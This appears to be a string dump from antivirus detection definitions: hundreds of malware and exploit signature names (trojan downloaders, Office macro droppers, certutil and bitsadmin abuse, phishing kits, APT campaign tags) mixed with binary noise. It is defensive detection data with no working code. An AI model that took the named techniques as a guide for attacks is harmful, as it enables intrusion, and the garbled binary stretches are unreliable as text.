)!#ALF:HeraklezEval:TrojanWin32/Occamy.C75 )!#ALF:HeraklezEval:ProgramWin32/Occamy.AA d]0x| )!#ALF:HeraklezEval:Backdoor:Win32/Autorun )!#ALF:HeraklezEval:TrojanWin32/Occamy.C3C ]4X'dE :]4X'dE /*') ?J#\t L[T2P :L[T2P )!#ALF:HeraklezEval:TrojanWin32/Occamy.C0E )!#ALF:HeraklezEval:Trojan:MacOS/Brocoiner )!#ALF:HeraklezEval:TrojanWin32/Occamy.CC0 )!#ALF:HeraklezEval:TrojanWin32/Occamy.C16 )!#ALF:HeraklezEval:TrojanWin32/Occamy.C00 ;gWZ\\ )!#ALF:HeraklezEval:TrojanWin32/Occamy.C34 )!#ALF:HeraklezEval:TrojanWin32/Occamy.C6C )!#ALF:HeraklezEval:TrojanWin32/Occamy.C01 J fD&8 N6?nIv )!#ALF:HeraklezEval:TrojanWin32/Occamy.C02 U2QC9 )!#ALF:HeraklezEval:TrojanWin32/Occamy.C03 )!#ALF:HeraklezEval:TrojanWin32/Occamy.CCC )!#ALF:HeraklezEval:TrojanWin32/Occamy.C09 )!#ALF:HeraklezEval:TrojanWin32/Occamy.C0F )!#ALF:HeraklezEval:Trojan:Win32/Tsingsoft )!#ALF:HeraklezEval:TrojanWin32/Occamy.C73 *!#ALF:HeraklezEval:Trojan:AndroidOS/SmForw *!#ALF:HeraklezEval:TrojanWin32/Ymacco.AA29 *!#ALF:HeraklezEval:Trojan:Win32/Occamy.CE1 *!#ALF:HeraklezEval:TrojanWin32/Ymacco.AA01 *!#ALF:HeraklezEval:TrojanWin32/Ymacco.AA5A *!#ALF:HeraklezEval:TrojanWin32/Ymacco.AA0E *!#ALF:HeraklezEval:Trojan:Win32/Occamy.CBD *!#ALF:HeraklezEval:Trojan:Win32/Occamy.C81 *!#ALF:HeraklezEval:Trojan:Linux/Multiverze *!#ALF:HeraklezEval:Trojan:Win32/Occamy.C5B *!#ALF:HeraklezEval:BackdoorLinux/Mirai!rfn *!#ALF:HeraklezEval:Trojan:Win32/Occamy.C69 *!#ALF:HeraklezEval:TrojanWin32/Ymacco.AA6A *!#ALF:HeraklezEval:TrojanWin32/Ymacco.AA0C *!#ALF:HeraklezEval:DDoS:Linux/Mirai.PA!rfn *!#ALF:HeraklezEval:TrojanWin32/Ymacco.ABF5 *!#ALF:HeraklezEval:Trojan:Linux/RocHid!rfn *!#ALF:HeraklezEval:Ransom:MacOS/KeRanger.A *!#ALF:HeraklezEval:TrojanWin32/Ymacco.AA4B *!#ALF:HeraklezEval:Trojan:AndroidOS/Hiddad *!#ALF:HeraklezEval:TrojanWin32/Ymacco.AA58 *!#ALF:HeraklezEval:TrojanWin32/Ymacco.AA03 *!#ALF:HeraklezEval:Trojan:Win32/Occamy.C19 *!#ALF:HeraklezEval:TrojanWin32/Ymacco.AAD5 *!#ALF:HeraklezEval:TrojanWin32/Ymacco.AA00 *!#ALF:HeraklezEval:Trojan:Win32/Occamy.C5D *!#ALF:HeraklezEval:TrojanWin32/Ymacco.AB95 *!#ALF:HeraklezEval:TrojanWin32/Ymacco.AAD2 *!#ALF:HeraklezEval:Trojan:Win32/Occamy.C0F *!#ALF:HeraklezEval:Ransom:AndroidOS/Congur *!#ALF:HeraklezEval:TrojanWin32/Ymacco.AA39 *!#ALF:HeraklezEval:Trojan:Win32/Occamy.CD2 *!#ALF:HeraklezEval:TrojanWin32/Ymacco.AA24 *!#ALF:HeraklezEval:Trojan:AndroidOS/Kmin.A *!#ALF:HeraklezEval:BackdoorMSIL/Bladabindi *!#ALF:HeraklezEval:TrojanWin32/Ymacco.AA48 *!#ALF:HeraklezEval:TrojanWin32/Ymacco.AA05 *!#ALF:HeraklezEval:TrojanWin32/Ymacco.ABC2 *!#ALF:HeraklezEval:TrojanWin32/Ymacco.AA8F *!#ALF:HeraklezEval:Backdoor:Linux/Small.BC *!#ALF:HeraklezEval:Trojan:Win32/Occamy.C4B *!#ALF:HeraklezEval:TrojanWin32/Ymacco.AA34 *!#ALF:HeraklezEval:Trojan:Win32/Occamy.CC2 *!#ALF:HeraklezEval:Trojan:Win32/Occamy.CBB *!#ALF:HeraklezEval:TrojanWin32/Ymacco.AA19 *!#ALF:HeraklezEval:TrojanWin32/Ymacco.AA74 *!#ALF:HeraklezEval:TrojanWin32/Ymacco.AA98 *!#ALF:HeraklezEval:TrojanWin32/Ymacco.ABDE *!#ALF:HeraklezEval:BackdoorMacOS/Flashback *!#ALF:HeraklezEval:TrojanWin32/Glupteba!ml *!#ALF:HeraklezEval:TrojanWin32/Ymacco.AAAC *!#ALF:HeraklezEval:TrojanWin32/Ymacco.AAD1 *!#ALF:HeraklezEval:VirusVBS/Ramnit.gen!rfn *!#ALF:HeraklezEval:Trojan:AndroidOS/Shedun *!#ALF:HeraklezEval:Trojan:Win32/Occamy.C03 *!#ALF:HeraklezEval:TrojanWin32/Ymacco.ABF1 *!#ALF:HeraklezEval:Program:Win32/Occamy.AA *!#ALF:HeraklezEval:Trojan:Win32/Occamy.CFE *!#ALF:HeraklezEval:TrojanWin32/Ymacco.AAD0 *!#ALF:HeraklezEval:TrojanWin32/Ymacco.AA9E *!#ALF:HeraklezEval:TrojanWin32/Ymacco.AB1F *!#ALF:HeraklezEval:TrojanWin32/Ymacco.AB63 *!#ALF:HeraklezEval:TrojanWin32/Ymacco.ABBF *!#ALF:HeraklezEval:TrojanMacOS/Ymacco.AA9B *!#ALF:HeraklezEval:TrojanWin32/Ymacco.AB60 *!#ALF:HeraklezEval:TrojanWin32/Ymacco.ABCA *!#ALF:HeraklezEval:Trojan:Win32/Occamy.C35 *!#ALF:HeraklezEval:Trojan:Win32/Occamy.C08 *!#ALF:HeraklezEval:TrojanWin32/Ymacco.ABA7 *!#ALF:HeraklezEval:Trojan:Win32/Occamy.CAE >6-g! u.+h. *!#ALF:HeraklezEval:TrojanWin32/Ymacco.AAB1 *!#ALF:HeraklezEval:TrojanWin32/Ymacco.AA88 2:'1: *!#ALF:HeraklezEval:TrojanLinux/CoinMiner.K *!#ALF:HeraklezEval:TrojanWin32/Ymacco.AB2F *!#ALF:HeraklezEval:Trojan:Win32/Occamy.C04 \"oC2A4p *!#ALF:HeraklezEval:Trojan:Win32/Occamy.C86 *!#ALF:HeraklezEval:TrojanWin32/Ymacco.ABA2 *!#ALF:HeraklezEval:TrojanMacOS/Ymacco.AA7A *!#ALF:HeraklezEval:Trojan:Win32/Occamy.C34 *!#ALF:HeraklezEval:TrojanWin32/Ymacco.AADC *!#ALF:HeraklezEval:TrojanWin32/Ymacco.AAC3 *!#ALF:HeraklezEval:TrojanWin32/Ymacco.AA4E *!#ALF:HeraklezEval:TrojanWin32/Ymacco.AA72 p!\"9! *!#ALF:HeraklezEval:TrojanWin32/Ymacco.AA2D *!#ALF:HeraklezEval:Exploit:Linux/Woffled.A *!#ALF:HeraklezEval:TrojanWin32/Ymacco.AB30 /b;>? *!#ALF:HeraklezEval:TrojanWin32/Ymacco.AA81 *!#ALF:HeraklezEval:TrojanWin32/Ymacco.AA8E *!#ALF:HeraklezEval:TrojanWin32/Ymacco.AB41 *!#ALF:HeraklezEval:TrojanWin32/Ymacco.AA1E =\"V^D :El<# h:El<#ik ;Rr?  ;Rr? q \"]s?% > )+@ ?\t2Pk#e? 7Jl?S? ;<|(r> .`1> ww?%S T.`1> b2x>< >%pqC ?\"&'< -0n}@< .; *> /V>\tJ `.`1> >\"ckVX:> ?\t !zyi> &'Bd> >&HI% WYp?#> H$>%Z ? tu^ p9?\"35@q GUl?S? vr>\t\\ {V0?$ {V0?$] Q?#ef F12?  F12? <!-B1@ CAR?\"D 0O3x> .l?S? >%1hC= >\t3]k#e? !,> 7 BNl?S? Q\\AR? #>&YZ g?%`e >!ot$l O3x>& 6O3x>& |1 ?   |1 ?  _.&=& s?%$' >%WaC= 'Bd>! m&? e B?$jk >&CYo9 !#SLF:Context/DocAttachCmdFileWithSchtasks.A !#SLF:Context/DocAttachLnkFileWithCertutil.A !#SLF:Context/DocAttachLnkFileWithSchtasks.A !#SLF:Context/DocAttachPifFileWithCertutil.A !#SLF:Context/DocAttachPifFileWithSchtasks.A !#ALF:XL4SuspOper.B !#AGGR:SingleAchiveFileInAchive !#TEL:Trojan:HTML/Redirector.CS!MTB !#ALF:Exploit:O97M/CVE-2017-11882.APW!MTB !#ALF:Trojan:O97M/MacroAPI.C !#TEL:Exploit:JS/CVE-2015-1641 !#ALF:TrojanDownloader:VBS/BITSAbuse.R!MTB !#AGG:AllowList:Win32/Vemotion.VB3xViewer.A !#SLF:Context/DocAttachBatFileWithBitsadmin.A !#SLF:Context/DocAttachCmdFileWithBitsadmin.A !#SLF:Context/DocAttachLnkFileWithBitsadmin.A !#SLF:Context/DocAttachPifFileWithBitsadmin.A !#SLF:AGGR:O97M/ObfShellLaunch.A!amsi !#ALF:TrojanDownloader:O97M/EncDoc.AJAC!MTB !#ALF:TrojanDownloader:O97M/EncDoc.IDTJ!MTB !#ALF:TrojanDownloader:O97M/EncDoc.IIAE!MTB !#ALF:TrojanDownloader:O97M/EncDoc.TEFT!MTB !#ALF:TrojanDownloader:O97M/EncDoc.XFCD!MTB !#ALF:TrojanDownloader:O97M/Qakbot.IHAO!MTB !#ALF:Trojan/PSDynamicAssembly.B1 !#TEL:TrojanDownloader:O97M/EncDoc.ACT!MTB !#ALF:HackTool:PowerShell/AADInternalsPSD1.A!MTB !#AGG:AllowList:Win32/GreenTreeApps.DLPDFEditor.A !#ALF:TrojanDownloader:VBS/Obfuse.XGPS!MTB !#AGG:O97M/EncDoc.PSW !#AGGR:Context/LolbinProcess.B !#AGG:AllowList:Win32/Google.Update.A !#TEL:TrojanDownloader:O97M/EncDoc.DRQ!MTB !#ALF:CloudShell.A !#TEL:TrojanDownloader:PowerShell/Emotet.DEO!MTB !#ALF:Phish:PHP/FreakzBrothers_PKT_VT!MTB !#Trojan:Win32/Ursnif.DL!MTB txj11 !#AGG:AllowList:Win32/KoreaCyberPayment.A !#TEL:TrojanDownloader:PowerShell/MMiner.A!MSR !#//MLJsOtherFilter !#EccRootPubKey3rdPartyInScriptSig !#SLF:SuspSpoolsvProcessDrop.C!dll !#ALF:Backdoor:PHP/Ensikology_Wshl!MTB !#SLF:Win32/PossibleMasquerading.EA!hh.exe !#SLF:Win32/PossibleMasquerading.gen!A!lolbindll !#SLF:Win32/PossibleMasquerading.gen!A!lolbinexe !#AGGR:TopLevelFileExt!xlsx !#ALF:Phish:PHP/MS_Login_Outlook_PKT!MTB !#AGGR:SuspAmsiWmiPropName.A !#ALF:Trojan:UEFI/EfiGuardDxe.B !#AGG:AllowList:Win32/Computrace.A !#TEL:TrojanDownloader:JS/Nemucod.QK !#SLF:Win32/PossibleMasquerading.EA!wmic.exe !#ALF:TrojanDownloader:O97M/Powdow.SX!MTB !#ALF:TrojanDownloader:O97M/TrickBot.PXY!MTB !#ALF:TrojanDownloader:VBS/Donvibs.PRCSX!MTB !#ALF:Phish:PHP/Phish_6610578!MTB !#TEL:Trojan:Win32/AggBITSAbuse.C !#TEL:Trojan:Win32/Ursnif.DLL!MTB !#SLF:AGGR:CopyRenamed!installutil.exe !#TEL:TrojanDownloader:O97M/Emotet.OMES!MTB !#SLF:Context/DocAttachBatFileWithMsWorkflowCompiler.A BM_DLM_FILE BM_SQLlite_FILE BM_WMF_FILE BM_PNF_FILE BM_JDIFF_FILE BM_JAVA_CLASS_FILE BM_MACHO32_FILE BM_MACHO64_FILE BM_XAR_ARCHIVE_FILE BM_ZLIB_FILE BM_ELF_FILE BM_LHA_FILE BM_SDB_FILE BM_CLFS_FILE BM_BIN_PLIST_FILE BM_DMG_FILE BM_DLM_FILEBM_SQLlite_FILEBM_WMF_FILEBM_PNF_FILEBM_JDIFF_FILEBM_JAVA_CLASS_FILEBM_MACHO32_FILEBM_MACHO64_FILEBM_XAR_ARCHIVE_FILEBM_ZLIB_FILEBM_ELF_FILEBM_LHA_FILEBM_SDB_FILEBM_CLFS_FILEBM_BIN_PLIST_FILEBM_DMG_FILEBM_UNKNOWN_FILEsvchost.exeMpDisableMOACSyncInsert, scan_FileTyper !FileTyper scan_FileTyper!FileTyper h0 #- \"#$%&'()*+,-./0123459:;>?CDHIJKLNTUVWXYZ[ @ABMO  !678PQEF  %\t %\t %\t X %\t %\t %\t  X %\t %\t 9 X %\t 9  %\t %\t!  %\t = X %\t %\t %\t %\t jYInZ XjX\tT+$ HjXLXJn 8jXLX jXJD* 8jXL9 PjXLX PjXL\tXI PjXL\tX jXJ(& _b\tG`R jXJnY (jXJ: PjXL9| XjXJ9q (jXJ:L @jXJ  pppppppp 1jXG- PjXL9 XjXJ9  |g@>; k$Z51 J` 8p J` 8R J` 8v J` +e J` +T 5h.V+R X |@* (jXJ4B+ ]#LowFi:BMLua:AccessibilityEscalation.D!narrator ]#LowFi:BMLua:AccessibilityEscalation.D!narratorU5d Y#PERSIST:LowFi:HSTR:Backdoor:Win64/Shoive.D!dha Y#PERSIST:LowFi:HSTR:Backdoor:Win64/Shoive.D!dhaU5 Y#PERSIST:HSTR:Exploit:Win32/DouglasIISToken!dha Y#PERSIST:HSTR:Exploit:Win32/DouglasIISToken!dhaU5i :#LowFi:AGGREGATOR:MonitoringTool:Win32/PowerSpy :#LowFi:AGGREGATOR:MonitoringTool:Win32/PowerSpyU5 Y#PERSIST:HSTR:VirTool:MSIL/Obfuscator.Dotwall.A Y#PERSIST:HSTR:VirTool:MSIL/Obfuscator.Dotwall.AU5G ]#LowFi:BMLua:AccessibilityEscalation.U!atbroker ]#LowFi:BMLua:AccessibilityEscalation.U!atbrokerU5 :#Lowfi:HSTR:BrowserModifier:Win32/AOLToolbarCby :#Lowfi:HSTR:BrowserModifier:Win32/AOLToolbarCbyU5@ Y#PERSIST:SIGATTR:Trojan:Win32/Seadask.gen.A!dha Y#PERSIST:SIGATTR:Trojan:Win32/Seadask.gen.A!dhaU5 ]#LowFi:BMLua:AccessibilityEscalation.S!atbroker ]#LowFi:BMLua:AccessibilityEscalation.S!atbrokerU5z :#Lowfi:SIGATTR:Exploit:Java/CVE-2013-1493.INIT2 :#Lowfi:SIGATTR:Exploit:Java/CVE-2013-1493.INIT2U5k :#LowFi:SCPT:Exploit:VBS/CVE-2014-6332_SunDown.1 :#LowFi:SCPT:Exploit:VBS/CVE-2014-6332_SunDown.1U5 :#Lowfi:HSTR:VirTool:Win32/Obfuscator!Diplugem.H :#Lowfi:HSTR:VirTool:Win32/Obfuscator!Diplugem.HU5 )#:1:b:2:NSIS_3_0_strlen_bzip2_solid-x86-unicode )#:1:b:2:NSIS_3_0_strlen_bzip2_solid-x86-unicodeU5`7i ]#LowFi:BMLua:AccessibilityEscalation.Z!narrator ]#LowFi:BMLua:AccessibilityEscalation.Z!narratorU5 :#Lowfi:HSTR:VirTool:Win32/Obfuscator!Diplugem.D :#Lowfi:HSTR:VirTool:Win32/Obfuscator!Diplugem.DU5C :#Lowfi:HSTR:TrojanDownloader:Win32/Nokoag.A!dha :#Lowfi:HSTR:TrojanDownloader:Win32/Nokoag.A!dhaU6~1; Y#PERSIST:LowFi:HSTR:Trojan:Win32/Boracefig.A!dha Y#PERSIST:LowFi:HSTR:Trojan:Win32/Boracefig.A!dhaU6 \t:#Lowfi:HSTR:TrojanDownloader:O97M/Donoff.gen!D.1 \t:#Lowfi:HSTR:TrojanDownloader:O97M/Donoff.gen!D.1U6 ]#Lowfi:Lua:Trojan:Win32/MsWinHostsPatchDropper.A ]#Lowfi:Lua:Trojan:Win32/MsWinHostsPatchDropper.AU6^fd :#Lowfi:SIGATTR:TrojanDownloader:Win32/Tenomils.A :#Lowfi:SIGATTR:TrojanDownloader:Win32/Tenomils.AU6 :#Lowfi:HSTR:TrojanDownloader.Miruotaa.Decryption :#Lowfi:HSTR:TrojanDownloader.Miruotaa.DecryptionU6 Y#PERSIST:AGGR:TrojanDownloader:O97M/Donoff.gen!A Y#PERSIST:AGGR:TrojanDownloader:O97M/Donoff.gen!AU6 :#Lowfi:Lua:WrittenToDownloadFolder1SubByExplorer :#Lowfi:Lua:WrittenToDownloadFolder1SubByExplorerU6 Y#PERSIST:HSTR:VirTool:MSIL/Obfuscator.Codewall.A Y#PERSIST:HSTR:VirTool:MSIL/Obfuscator.Codewall.AU6 :#Lowfi:SIGA:MSIL/Suspicious.ProfilerDetection.S2 :#Lowfi:SIGA:MSIL/Suspicious.ProfilerDetection.S2U6 !#TEL:TrojanDropper:Powershell/CryptoDrop.VH!MSR !#TEL:TrojanDropper:Powershell/CryptoDrop.VH!MSRU6 FZ#]#LowFi:SCRIPT:Worm:JS/Bondat.A!LnkTargetJs_lowfi FZ#]#LowFi:SCRIPT:Worm:JS/Bondat.A!LnkTargetJs_lowfiU6 b,:#Lowfi:AGGREGATOR:REG/DisallowedCert_Bitdefender b,:#Lowfi:AGGREGATOR:REG/DisallowedCert_BitdefenderU6IF -Y#PERSIST:Behavior:Win32/AptCampaignDoubleTap!dha -Y#PERSIST:Behavior:Win32/AptCampaignDoubleTap!dhaU6 -:#Lowfi:Lua:VbaProjectWrittenToDownloadFolder1Sub -:#Lowfi:Lua:VbaProjectWrittenToDownloadFolder1SubU6 v2:#Lowfi:AGGREGATOR:REG/DisallowedCert_ThreatTrack v2:#Lowfi:AGGREGATOR:REG/DisallowedCert_ThreatTrackU6+  4:#Lowfi:SCRIPT:TrojanDownloader:PowerShell/Guidar  4:#Lowfi:SCRIPT:TrojanDownloader:PowerShell/GuidarU63{ 8:#Lowfi:SIGATTR:AutoHotkeyResourceScriptZIPHeader 8:#Lowfi:SIGATTR:AutoHotkeyResourceScriptZIPHeaderU6 9:#LowFi:Adware:MSIL/SanctionedMedia!LikeyCleanPUS 9:#LowFi:Adware:MSIL/SanctionedMedia!LikeyCleanPUSU6 <Y#PERSIST:HSTR:Adware:Win32/Obfuscator!ZoomyLib.A <Y#PERSIST:HSTR:Adware:Win32/Obfuscator!ZoomyLib.AU6 tC:#Lowfi:Lua:WrittenToDesktopFolderByWindowsBinary tC:#Lowfi:Lua:WrittenToDesktopFolderByWindowsBinaryU6h D:#LowFiHSTR:Program:Win32/CoinMiner_Ufasoft_Clean D:#LowFiHSTR:Program:Win32/CoinMiner_Ufasoft_CleanU6 LY#PERSIST:LowFi:SCRIPT:Exploit:SWF/FunkMaster!dha LY#PERSIST:LowFi:SCRIPT:Exploit:SWF/FunkMaster!dhaU6) #MN#SYNCLOWFI:HSTR:TrojanClicker:Win64/Fleercivet.B #MN#SYNCLOWFI:HSTR:TrojanClicker:Win64/Fleercivet.BU6v\" \\:#LowFiExp:Win32/ContextualModJavaTempLikeCorrupt \\:#LowFiExp:Win32/ContextualModJavaTempLikeCorruptU6 `:#Lowfi:Lua:WrittenToDownloadFolder1SubByArchiver `:#Lowfi:Lua:WrittenToDownloadFolder1SubByArchiverU6 \th:#Lowfi:HSTR:TrojanSefnit_TorComponent_Obfuscator \th:#Lowfi:HSTR:TrojanSefnit_TorComponent_ObfuscatorU6 hY#PERSIST:LowFi:MonitoringTool:Win32/NDiskPro!dha hY#PERSIST:LowFi:MonitoringTool:Win32/NDiskPro!dhaU6 i:#Lowfi:VirTool:Win64/Obfuscator.ADB_Reveton_aggr i:#Lowfi:VirTool:Win64/Obfuscator.ADB_Reveton_aggrU6> i:#LowFi:FOP:VirTool:Win32/Obfuscator.ANC_lowfi_ep i:#LowFi:FOP:VirTool:Win32/Obfuscator.ANC_lowfi_epU6D #j:#Lowfi:RPF:VirTool:Win32/Obfuscator.ACV.NOISELOD #j:#Lowfi:RPF:VirTool:Win32/Obfuscator.ACV.NOISELODU6\" yv)#:1:b:2:NSIS_3_02_strlen_bzip2_solid-x86-unicode yv)#:1:b:2:NSIS_3_02_strlen_bzip2_solid-x86-unicodeU6+ ]#LowFi:SCRIPT:Worm:JS/Bondat.B!LnkTargetJs_lowfi ]#LowFi:SCRIPT:Worm:JS/Bondat.B!LnkTargetJs_lowfiU6xs% Y#PERSIST:Behavior:Win32/AptCampaignInception!dha Y#PERSIST:Behavior:Win32/AptCampaignInception!dhaU6 :#Lowfi:SCRIPT:TrojanDownloader:PowerShell/Drixed :#Lowfi:SCRIPT:TrojanDownloader:PowerShell/DrixedU6 :#Lowfi:SIGATTR:Virtool:Win32/RegSecFilesDisabler :#Lowfi:SIGATTR:Virtool:Win32/RegSecFilesDisablerU66H :#Lowfi:HSTR:TrojanDownloader:O97M/Donoff.gen!D.2 :#Lowfi:HSTR:TrojanDownloader:O97M/Donoff.gen!D.2U6SgZ :#LowFiHSTR:Program:Win32/CoinMiner_CGMiner_Clean :#LowFiHSTR:Program:Win32/CoinMiner_CGMiner_CleanU6 Y#PERSIST:Behavior:Win32/AptCampaignSWCAttack!dha Y#PERSIST:Behavior:Win32/AptCampaignSWCAttack!dhaU6 Y#PERSIST_SIGATTR:SoftwareBundler:Win32/Amonetize Y#PERSIST_SIGATTR:SoftwareBundler:Win32/AmonetizeU6p/K Y#PERSIST:TrojanDownloader:Win32/EqtonFanys.A!dha Y#PERSIST:TrojanDownloader:Win32/EqtonFanys.A!dhaU6 )#:1:b:2:NSIS_3_01_strlen_bzip2_solid-x86-unicode )#:1:b:2:NSIS_3_01_strlen_bzip2_solid-x86-unicodeU6H :#Lowfi:SIGATTR:TrojanDownloader:Win32/Tembatch.B :#Lowfi:SIGATTR:TrojanDownloader:Win32/Tembatch.BU6G{ Y#PERSIST:SCRIPT:BrowserModifier:Win32/Wolerngi.A Y#PERSIST:SCRIPT:BrowserModifier:Win32/Wolerngi.AU6w :#LowFi:Adware:Win32/ShopperReports!LikeyCleanPUS :#LowFi:Adware:Win32/ShopperReports!LikeyCleanPUSU6qT[ Y#PERSIST:SIGATTR:Adware:Win32/ElexTechYacNSIS.A1 Y#PERSIST:SIGATTR:Adware:Win32/ElexTechYacNSIS.A1U6 :#Lowfi:SIGATTR:TrojanDropper:Win32/DelfInt.A!dha :#Lowfi:SIGATTR:TrojanDropper:Win32/DelfInt.A!dhaU6y :#LowFiExp:Win32/ContextualAccessJavawTempCorrupt :#LowFiExp:Win32/ContextualAccessJavawTempCorruptU6 ]#Lowfi:Rep:CMD:Trojan:Win32/TrapsDoubleExtension ]#Lowfi:Rep:CMD:Trojan:Win32/TrapsDoubleExtensionU6 :#Lowfi:SIGATTR:VirTool:Win32/Obfuscator_Deadbyte :#Lowfi:SIGATTR:VirTool:Win32/Obfuscator_DeadbyteU64 Y#PERSIST:AGGR:Program:Win32/NSISChecksDeepFreeze Y#PERSIST:AGGR:Program:Win32/NSISChecksDeepFreezeU6 :#Lowfi:MSILFOP:MSIL/Obfuscator.GenDecnryptAlgo.O :#Lowfi:MSILFOP:MSIL/Obfuscator.GenDecnryptAlgo.OU7 :#Lowfi:Lua:WrittenToDesktopFolderWithLongFileName :#Lowfi:Lua:WrittenToDesktopFolderWithLongFileNameU7v K Y#PERSIST:HSTR:SoftwareBundler:Win32/Ogimant.gen!B K Y#PERSIST:HSTR:SoftwareBundler:Win32/Ogimant.gen!BU7 Y#PERSIST:HSTR:VirTool:Win32/Obfuscator!Diplugem.B Y#PERSIST:HSTR:VirTool:Win32/Obfuscator!Diplugem.BU7 Y#PERSIST:HSTR:VirTool:Win32/Obfuscator!Diplugem.F Y#PERSIST:HSTR:VirTool:Win32/Obfuscator!Diplugem.FU7zB :#Lowfi:SIGATTR:TrojanDownloader:Win32/Reiramiao.A :#Lowfi:SIGATTR:TrojanDownloader:Win32/Reiramiao.AU7 ']#Lowfi:Behavior:Win32/GDad_DroppedSgsetting.A!dha ']#Lowfi:Behavior:Win32/GDad_DroppedSgsetting.A!dhaU7 h8:#LowFiExp:Win32/ContextualModJavawTempLikeCorrupt h8:#LowFiExp:Win32/ContextualModJavawTempLikeCorruptU7Y N:#Lowfi:SoftwareBundler:Win32/Amonetize!encryption N:#Lowfi:SoftwareBundler:Win32/Amonetize!encryptionU7 2O:#Lowfi:MSILFOP:MSIL/Obfuscator.GenDecnryptAlgo.S1 2O:#Lowfi:MSILFOP:MSIL/Obfuscator.GenDecnryptAlgo.S1U7 U:#Lowfi:AGGREGATOR:REG/DisallowedCert_Malwarebytes [gIcY#PERSIST:HSTR:VirTool:Win32/Obfuscator!Diplugem.G U:#Lowfi:AGGREGATOR:REG/DisallowedCert_MalwarebytesU7[gIcY#PERSIST:HSTR:VirTool:Win32/Obfuscator!Diplugem.GU7B $dY#PERSIST:HSTR:VirTool:Win32/Obfuscator!Diplugem.C $dY#PERSIST:HSTR:VirTool:Win32/Obfuscator!Diplugem.CU7 f)#:1:z:2:NSIS_3_0_b2_strlen_zlib_solid-x86-unicode f)#:1:z:2:NSIS_3_0_b2_strlen_zlib_solid-x86-unicodeU7 Y#PERSIST:LowFi:HSTR:VirTool:Win32/Injector.gen!EE Y#PERSIST:LowFi:HSTR:VirTool:Win32/Injector.gen!EEU7\\J Y#PERSIST:HSTR:VirTool:Win32/Obfuscator!Diplugem.I Y#PERSIST:HSTR:VirTool:Win32/Obfuscator!Diplugem.IU7w Y#PERSIST:HSTR:VirTool:Win32/Obfuscator!Diplugem.E Y#PERSIST:HSTR:VirTool:Win32/Obfuscator!Diplugem.EU7 :#Lowfi:SoftwareBundler:Win32/OutBrowse!partialrcb :#Lowfi:SoftwareBundler:Win32/OutBrowse!partialrcbU7yS@ :#Lowfi:HSTR:Adware:Win32/Lollipop_stringobfuscate :#Lowfi:HSTR:Adware:Win32/Lollipop_stringobfuscateU7= Y#PERSIST:SIGATTR:TrojanDownloader:MSIL/Lorozoad.A Y#PERSIST:SIGATTR:TrojanDownloader:MSIL/Lorozoad.AU7 Y#PERSIST:SIGATTR:Program:Win32/CrossRiderError.A1 Y#PERSIST:SIGATTR:Program:Win32/CrossRiderError.A1U7- Y#PERSIST:HSTR:VirTool:MSIL/Compressor.netshrink.A Y#PERSIST:HSTR:VirTool:MSIL/Compressor.netshrink.AU7 :#Lowfi:SIGATTR:TrojanDownloader:Win32/Banload.AZQ :#Lowfi:SIGATTR:TrojanDownloader:Win32/Banload.AZQU7A :#LowFiExp:Win32/ContextualDropJavaTempLikeCorrupt :#LowFiExp:Win32/ContextualDropJavaTempLikeCorruptU7k :#Lowfi:SIGATTR:VirTool:Win32/CeeInject.gen!KK_enc :#Lowfi:SIGATTR:VirTool:Win32/CeeInject.gen!KK_encU7 )#:1:l:2:NSIS_3_0_b2_strlen_lzma_solid-x86-unicode )#:1:l:2:NSIS_3_0_b2_strlen_lzma_solid-x86-unicodeU7 Y#PERSIST:HSTR:VirTool:Win32/Obfuscator!Diplugem.H Y#PERSIST:HSTR:VirTool:Win32/Obfuscator!Diplugem.HU7 :#Lowfi:Lua:WrittenToDownloadFolderByWindowsBinary :#Lowfi:Lua:WrittenToDownloadFolderByWindowsBinaryU7 Y#PERSIST:HSTR:VirTool:Win32/Obfuscator!Diplugem.D Y#PERSIST:HSTR:VirTool:Win32/Obfuscator!Diplugem.DU8 ]#LowFi:Behavior:Win32/OfficeProcMsiexecAbuse.A!tel ]#LowFi:Behavior:Win32/OfficeProcMsiexecAbuse.A!telU8 :#Lowfi:AGGR:TrojanDownloader:Win32/Upatre!unpacked :#Lowfi:AGGR:TrojanDownloader:Win32/Upatre!unpackedU8^fd Y#PERSIST:SIGATTR:TrojanDownloader:Win32/Tenomils.A Y#PERSIST:SIGATTR:TrojanDownloader:Win32/Tenomils.AU8 :#LowFiExp:Win32/ContextualDrop2JavaTempLikeCorrupt :#LowFiExp:Win32/ContextualDrop2JavaTempLikeCorruptU8 Y#PERSIST:Lowfi:PEBMPAT:Simda:AntiEmuTimeStampCheck p7s$:#Lowfi:SIGATTR:Exploit.HalDispatchTableOverwrite.A Y#PERSIST:Lowfi:PEBMPAT:Simda:AntiEmuTimeStampCheckU8p7s$:#Lowfi:SIGATTR:Exploit.HalDispatchTableOverwrite.AU8 =BE:#Lowfi:HSTR:Backdoor:Win32/NetWiredRC.B_trojanized =BE:#Lowfi:HSTR:Backdoor:Win32/NetWiredRC.B_trojanizedU8 S:#Lowfi:SCPT:Exploit:HTML/Long_Hidden_Title_Heading S:#Lowfi:SCPT:Exploit:HTML/Long_Hidden_Title_HeadingU8 l:#Lowfi:SCPT:Exploit:HTML/NeutrinoEK.possible.lowfi l:#Lowfi:SCPT:Exploit:HTML/NeutrinoEK.possible.lowfiU8 :#LowFiExp:Win32/ContextualDropJavawTempLikeCorrupt :#LowFiExp:Win32/ContextualDropJavawTempLikeCorruptU8x :#Lowfi:AGGREGATOR:HasKnownAdwareDomain_NsisBundler :#Lowfi:AGGREGATOR:HasKnownAdwareDomain_NsisBundlerU8h :#Lowfi:Lua:WrittenToDownloadFolderWithLongFileName :#Lowfi:Lua:WrittenToDownloadFolderWithLongFileNameU8 :#LowFi:SIGATTR:Upatre!antiemu_vdll_max8_noseccheck :#LowFi:SIGATTR:Upatre!antiemu_vdll_max8_noseccheckU8 :#LowFi:SNID:BrowserModifier:Win32/Diplugem!ImpHash :#LowFi:SNID:BrowserModifier:Win32/Diplugem!ImpHashU8 :#Lowfi:MACRO:TrojanDownloader:O97/Adnel_decryption :#Lowfi:MACRO:TrojanDownloader:O97/Adnel_decryptionU8 :#Lowfi:SCPT:Trojan:Win32/Kilim_KillChromeAndUpdate :#Lowfi:SCPT:Trojan:Win32/Kilim_KillChromeAndUpdateU8 Y#PERSIST:LowFi:SigAttr:Backdoor:Win64/Shoive.C!dha Y#PERSIST:LowFi:SigAttr:Backdoor:Win64/Shoive.C!dhaU8 N#Lowfi:PEBMPAT:TrojanDownloader:Win32/Upatre!LoD.1 N#Lowfi:PEBMPAT:TrojanDownloader:Win32/Upatre!LoD.1U8 )#:1:b:2:NSIS_3_0_b2_strlen_bzip2_solid-x86-unicode 